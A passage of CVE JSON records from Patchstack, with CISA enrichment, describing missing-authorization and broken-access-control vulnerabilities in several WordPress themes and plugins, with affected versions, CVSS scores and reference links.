        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Missing Authorization vulnerability in AgniHD Cartify - WooCommerce Gutenberg WordPress Theme cartify allows Exploiting Incorrectly Configured Access Control Security Levels.\u003cp\u003eThis issue affects Cartify - WooCommerce Gutenberg WordPress Theme: from n/a through \u003c= 1.3.\u003c/p\u003e"
            }
          ],
          "value": "Missing Authorization vulnerability in AgniHD Cartify - WooCommerce Gutenberg WordPress Theme cartify allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Cartify - WooCommerce Gutenberg WordPress Theme: from n/a through \u003c= 1.3."
        }
      ],
      "impacts": [
        {
          "capecId": "CAPEC-180",
          "descriptions": [
            {
              "lang": "en",
              "value": "Exploiting Incorrectly Configured Access Control Security Levels"
            }
          ]
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-862",
              "description": "Missing Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-28T16:14:39.774Z",
        "orgId": "21595511-bba5-4825-b968-b78d1f9984a3",
        "shortName": "Patchstack"
      },
      "references": [
        {
          "tags": [
            "vdb-entry"
          ],
          "url": "https://patchstack.com/database/Wordpress/Theme/cartify/vulnerability/wordpress-cartify-woocommerce-gutenberg-wordpress-theme-theme-1-3-arbitrary-content-deletion-vulnerability?_s_id=cve"
        }
      ],
      "title": "WordPress Cartify - WooCommerce Gutenberg WordPress Theme theme \u003c= 1.3 - Arbitrary Content Deletion vulnerability"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "21595511-bba5-4825-b968-b78d1f9984a3",
    "assignerShortName": "Patchstack",
    "cveId": "CVE-2025-69385",
    "datePublished": "2026-02-20T15:46:54.361Z",
    "dateReserved": "2025-12-31T20:13:11.108Z",
    "dateUpdated": "2026-04-28T16:14:39.774Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-69381",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-02-25T15:02:28.954278Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-04-28T20:57:25.741Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://codecanyon.net",
          "defaultStatus": "unaffected",
          "packageName": "woocommerce-quick-product-editor",
          "product": "WooCommerce Bulk Product Editor",
          "vendor": "vanquish",
          "versions": [
            {
              "lessThanOrEqual": "3.0",
              "status": "affected",
              "version": "0",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Phat RiO | Patchstack Bug Bounty Program"
        }
      ],
      "datePublic": "2026-04-01T16:04:13.247Z",
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Missing Authorization vulnerability in vanquish WooCommerce Bulk Product Editor woocommerce-quick-product-editor allows Exploiting Incorrectly Configured Access Control Security Levels.\u003cp\u003eThis issue affects WooCommerce Bulk Product Editor: from n/a through \u003c= 3.0.\u003c/p\u003e"
            }
          ],
          "value": "Missing Authorization vulnerability in vanquish WooCommerce Bulk Product Editor woocommerce-quick-product-editor allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WooCommerce Bulk Product Editor: from n/a through \u003c= 3.0."
        }
      ],
      "impacts": [
        {
          "capecId": "CAPEC-180",
          "descriptions": [
            {
              "lang": "en",
              "value": "Exploiting Incorrectly Configured Access Control Security Levels"
            }
          ]
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-862",
              "description": "Missing Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-28T16:14:39.776Z",
        "orgId": "21595511-bba5-4825-b968-b78d1f9984a3",
        "shortName": "Patchstack"
      },
      "references": [
        {
          "tags": [
            "vdb-entry"
          ],
          "url": "https://patchstack.com/database/Wordpress/Plugin/woocommerce-quick-product-editor/vulnerability/wordpress-woocommerce-bulk-product-editor-plugin-3-0-broken-access-control-vulnerability?_s_id=cve"
        }
      ],
      "title": "WordPress WooCommerce Bulk Product Editor plugin \u003c= 3.0 - Broken Access Control vulnerability"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "21595511-bba5-4825-b968-b78d1f9984a3",
    "assignerShortName": "Patchstack",
    "cveId": "CVE-2025-69381",
    "datePublished": "2026-02-20T15:46:53.591Z",
    "dateReserved": "2025-12-31T20:13:05.452Z",
    "dateUpdated": "2026-04-28T20:57:25.741Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-69364",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-01-15T21:36:46.013488Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-04-27T19:53:30.518Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://wordpress.org/plugins",
          "defaultStatus": "unaffected",
          "packageName": "breeze",
          "product": "Breeze",
          "vendor": "Cloudways",
          "versions": [
            {
              "changes": [
                {
                  "at": "2.2.22",
                  "status": "unaffected"
                }
              ],
              "lessThanOrEqual": "2.2.21",
              "status": "affected",
              "version": "0",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Bao - BlueRock | Patchstack Bug Bounty Program"
        }
      ],
      "datePublic": "2026-04-22T14:22:11.086Z",
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Missing Authorization vulnerability in Cloudways Breeze breeze allows Exploiting Incorrectly Configured Access Control Security Levels.\u003cp\u003eThis issue affects Breeze: from n/a through \u003c= 2.2.21.\u003c/p\u003e"
            }
          ],
          "value": "Missing Authorization vulnerability in Cloudways Breeze breeze allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Breeze: from n/a through \u003c= 2.2.21."
        }
      ],
      "impacts": [
        {
          "capecId": "CAPEC-180",
          "descriptions": [
            {
              "lang": "en",
              "value": "Exploiting Incorrectly Configured Access Control Security Levels"
            }
          ]
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-862",
              "description": "Missing Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-28T16:14:38.858Z",
        "orgId": "21595511-bba5-4825-b968-b78d1f9984a3",
        "shortName": "Patchstack"
      },
      "references": [
        {
          "tags": [
            "vdb-entry"
          ],
          "url": "https://patchstack.com/database/Wordpress/Plugin/breeze/vulnerability/wordpress-breeze-plugin-2-2-21-broken-access-control-vulnerability?_s_id=cve"
        }
      ],
      "title": "WordPress Breeze plugin \u003c= 2.2.21 - Broken Access Control vulnerability"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "21595511-bba5-4825-b968-b78d1f9984a3",
    "assignerShortName": "Patchstack",
    "cveId": "CVE-2025-69364",
    "datePublished": "2026-01-06T16:36:42.620Z",
    "dateReserved": "2025-12-31T20:12:41.875Z",
    "dateUpdated": "2026-04-28T16:14:38.858Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-69363",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-01-15T21:35:58.000644Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-04-27T19:53:09.168Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://wordpress.org/plugins",
          "defaultStatus": "unaffected",
          "packageName": "responsive-addons-for-elementor",
          "product": "Responsive Addons for Elementor",
          "vendor": "CyberChimps",
          "versions": [
            {
              "changes": [
                {
                  "at": "2.0.9",
                  "status": "unaffected"
                }
              ],
              "lessThanOrEqual": "2.0.8",
              "status": "affected",
              "version": "0",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Abu Hurayra | Patchstack Bug Bounty Program"
        }
      ],
      "datePublic": "2026-04-22T14:22:11.311Z",
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Missing Authorization vulnerability in CyberChimps Responsive Addons for Elementor responsive-addons-for-elementor allows Exploiting Incorrectly Configured Access Control Security Levels.\u003cp\u003eThis issue affects Responsive Addons for Elementor: from n/a through \u003c= 2.0.8.\u003c/p\u003e"
            }
          ],
          "value": "Missing Authorization vulnerability in CyberChimps Responsive Addons for Elementor responsive-addons-for-elementor allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Responsive Addons for Elementor: from n/a through \u003c= 2.0.8."
        }
      ],
      "impacts": [
        {
          "capecId": "CAPEC-180",
          "descriptions": [
            {
              "lang": "en",
              "value": "Exploiting Incorrectly Configured Access Control Security Levels"
            }
          ]
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-862",
              "description": "Missing Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-28T16:14:38.764Z",
        "orgId": "21595511-bba5-4825-b968-b78d1f9984a3",
        "shortName": "Patchstack"
      },
      "references": [
        {
          "tags": [
            "vdb-entry"
          ],
          "url": "https://patchstack.com/database/Wordpress/Plugin/responsive-addons-for-elementor/vulnerability/wordpress-responsive-addons-for-elementor-plugin-2-0-8-broken-access-control-vulnerability?_s_id=cve"
        }
      ],
      "title": "WordPress Responsive Addons for Elementor plugin \u003c= 2.0.8 - Broken Access Control vulnerability"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "21595511-bba5-4825-b968-b78d1f9984a3",
    "assignerShortName": "Patchstack",
    "cveId": "CVE-2025-69363",
    "datePublished": "2026-01-06T16:36:42.458Z",
    "dateReserved": "2025-12-31T20:12:41.875Z",
    "dateUpdated": "2026-04-28T16:14:38.764Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-69361",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-01-13T14:15:18.100624Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-04-28T20:55:11.695Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://wordpress.org/plugins",
          "defaultStatus": "unaffected",
          "packageName": "post-expirator",
          "product": "Post Expirator",
          "vendor": "PublishPress",
          "versions": [
            {
              "changes": [
                {
                  "at": "4.9.4",
                  "status": "unaffected"
                }
              ],
              "lessThanOrEqual": "4.9.3",
              "status": "affected",
              "version": "0",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Bao - BlueRock | Patchstack Bug Bounty Program"
        }
      ],
      "datePublic": "2026-04-01T16:04:41.092Z",
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Missing Authorization vulnerability in PublishPress Post Expirator post-expirator allows Exploiting Incorrectly Configured Access Control Security Levels.\u003cp\u003eThis issue affects Post Expirator: from n/a through \u003c= 4.9.3.\u003c/p\u003e"
            }
          ],
          "value": "Missing Authorization vulnerability in PublishPress Post Expirator post-expirator allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Post Expirator: from n/a through \u003c= 4.9.3."
        }
      ],
      "impacts": [
        {
          "capecId": "CAPEC-180",
          "descriptions": [
            {
              "lang": "en",
              "value": "Exploiting Incorrectly Configured Access Control Security Levels"
            }
          ]
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 4.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "NONE",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-862",
              "description": "Missing Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-28T16:14:38.755Z",
        "orgId": "21595511-bba5-4825-b968-b78d1f9984a3",
        "shortName": "Patchstack"
      },
      "references": [
        {
          "tags": [
            "vdb-entry"
          ],
          "url": "https://patchstack.com/database/Wordpress/Plugin/post-expirator/vulnerability/wordpress-post-expirator-plugin-4-9-3-broken-access-control-vulnerability?_s_id=cve"
        }
      ],
      "title": "WordPress Post Expirator plugin \u003c= 4.9.3 - Broken Access Control vulnerability"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "21595511-bba5-4825-b968-b78d1f9984a3",
    "assignerShortName": "Patchstack",
    "cveId": "CVE-2025-69361",
    "datePublished": "2026-01-06T16:36:42.054Z",
    "dateReserved": "2025-12-31T20:12:32.245Z",
    "dateUpdated": "2026-04-28T20:55:11.695Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-69359",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-01-13T14:16:07.248611Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-04-27T19:00:29.030Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://wordpress.org/plugins",
          "defaultStatus": "unaffected",
          "packageName": "creatorlms",
          "product": "Creator LMS",
          "vendor": "WPFunnels",
          "versions": [
            {
              "changes": [
                {
                  "at": "1.1.13",
                  "status": "unaffected"
                }
              ],
              "lessThanOrEqual": "1.1.12",
              "status": "affected",
              "version": "0",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "NumeX | Patchstack Bug Bounty Program"
        }
      ],
      "datePublic": "2026-04-22T14:22:12.183Z",
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Missing Authorization vulnerability in WPFunnels Creator LMS creatorlms allows Exploiting Incorrectly Configured Access Control Security Levels.\u003cp\u003eThis issue affects Creator LMS: from n/a through \u003c= 1.1.12.\u003c/p\u003e"
            }
          ],
          "value": "Missing Authorization vulnerability in WPFunnels Creator LMS creatorlms allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Creator LMS: from n/a through \u003c= 1.1.12."
        }
      ],
      "impacts": [
        {
          "capecId": "CAPEC-180",
          "descriptions": [
            {
              "lang": "en",
              "value": "Exploiting Incorrectly Configured Access Control Security Levels"
            }
          ]
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-862",
              "description": "Missing Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-28T16:14:38.782Z",
        "orgId": "21595511-bba5-4825-b968-b78d1f9984a3",
        "shortName": "Patchstack"
      },
      "references": [
        {
          "tags": [
            "vdb-entry"
          ],
          "url": "https://patchstack.com/database/Wordpress/Plugin/creatorlms/vulnerability/wordpress-creator-lms-plugin-1-1-12-broken-access-control-vulnerability?_s_id=cve"
        }
      ],
      "title": "WordPress Creator LMS plugin \u003c= 1.1.12 - Broken Access Control vulnerability"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "21595511-bba5-4825-b968-b78d1f9984a3",
    "assignerShortName": "Patchstack",
    "cveId": "CVE-2025-69359",
    "datePublished": "2026-01-06T16:36:41.733Z",
    "dateReserved": "2025-12-31T20:12:32.245Z",
    "dateUpdated": "2026-04-28T16:14:38.782Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}